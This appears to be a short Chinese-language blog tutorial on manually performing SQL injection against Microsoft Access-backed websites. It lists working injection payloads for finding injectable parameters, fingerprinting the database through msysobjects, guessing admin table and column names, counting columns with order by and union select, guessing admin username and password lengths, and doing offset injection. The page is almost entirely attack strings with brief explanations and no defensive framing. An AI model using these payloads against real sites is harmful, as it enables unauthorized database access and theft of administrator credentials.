access數據庫的手工注入

access數據庫

優勢:提高速度和減少代碼量

缺點:數據過大性能下降,安全性低

後綴名:.mdb

打開工具:輔臣數據庫瀏覽器,破障瀏覽器


access注入

判斷注入點:‘ ,and 1=1, and1=2, or 1=1, or 1=2, and 1=23, 在id=後面加一個減號,報錯有注入點

判斷數據庫類型:and exists(select * from msysobjects)>0  存在說明是access數據庫 ,   and exists(select * from sysobjects)>0 存在說明是sql server數據庫

判斷數據庫中的表:and exists(select * from admin) 返回成功說明存在

access的數據庫中的表:admin,msysobjects,user,username,

判斷數據庫中表內的字段名:and exists(select username from admin) 返回成功說明存在

判斷字段長度:order by N

報錯:and 1=2 union select 1,2,....,N from admin(聯合查詢)

判斷賬戶密碼長度:and (select len(admin) from admin)=5 如果返回正常說明管理賬戶的長度爲5

and (select len(password) from admin)=5 猜解管理密碼長度是5

捕獲2.GIF

偏移注入 

主要用來解決表名猜到,列名猜不到的情況

and 1=2 union select 1,2,....,N from admin(聯合查詢),用*從最後一個字段向前逐個代替,直到顯示正常爲止,*代表所有數據表內的字段

捕獲3.GIF


捕獲4.GIF





發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章